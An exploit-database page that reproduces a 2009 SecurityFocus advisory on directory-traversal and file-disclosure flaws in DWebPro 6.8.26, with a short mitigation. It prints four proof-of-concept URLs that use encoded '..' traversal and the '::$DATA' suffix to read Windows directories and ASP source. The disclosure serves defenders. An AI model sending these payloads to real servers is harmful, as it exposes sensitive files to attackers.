header-logo
Suggest Exploit
vendor:
DWebPro
by:
SecurityFocus
7.5
CVSS
HIGH
Directory Traversal and Arbitrary File View
22 (Path Traversal) and 5 (Improper Input Validation)
CWE
Product Name: DWebPro
Affected Version From: 6.8.26
Affected Version To: 6.8.26
Patch Exists: N/A
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

DWebPro Directory Traversal and Arbitrary File View Vulnerabilities

DWebPro is prone to a directory-traversal vulnerability and a vulnerability that allows attackers to view arbitrary files. An attacker can exploit these issues to obtain sensitive information that may lead to other attacks.

Mitigation:

Ensure that user-supplied input is validated and filtered before being used in filesystem operations.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/34721/info

DWebPro is prone to a directory-traversal vulnerability and a vulnerability that allows attackers to view arbitrary files.

An attacker can exploit these issues to obtain sensitive information that may lead to other attacks.

DWebPro 6.8.26 is vulnerable; other versions may also be affected. 

http://www.example.com:8080/..%5C/www/..%5C/www/..%5C/..%5C/..%5C/WINDOWS/
http://www.example.com:8080/..%2f..%2f..%2fWINDOWS%2f
http://www.example.com:8080/..\/www/500-100-js.asp::$DATA
http://www.example.com:8080/demos/aspclassic/asp_registry.asp::$DATA

Navigation

Suggest Exploit

Services By CQR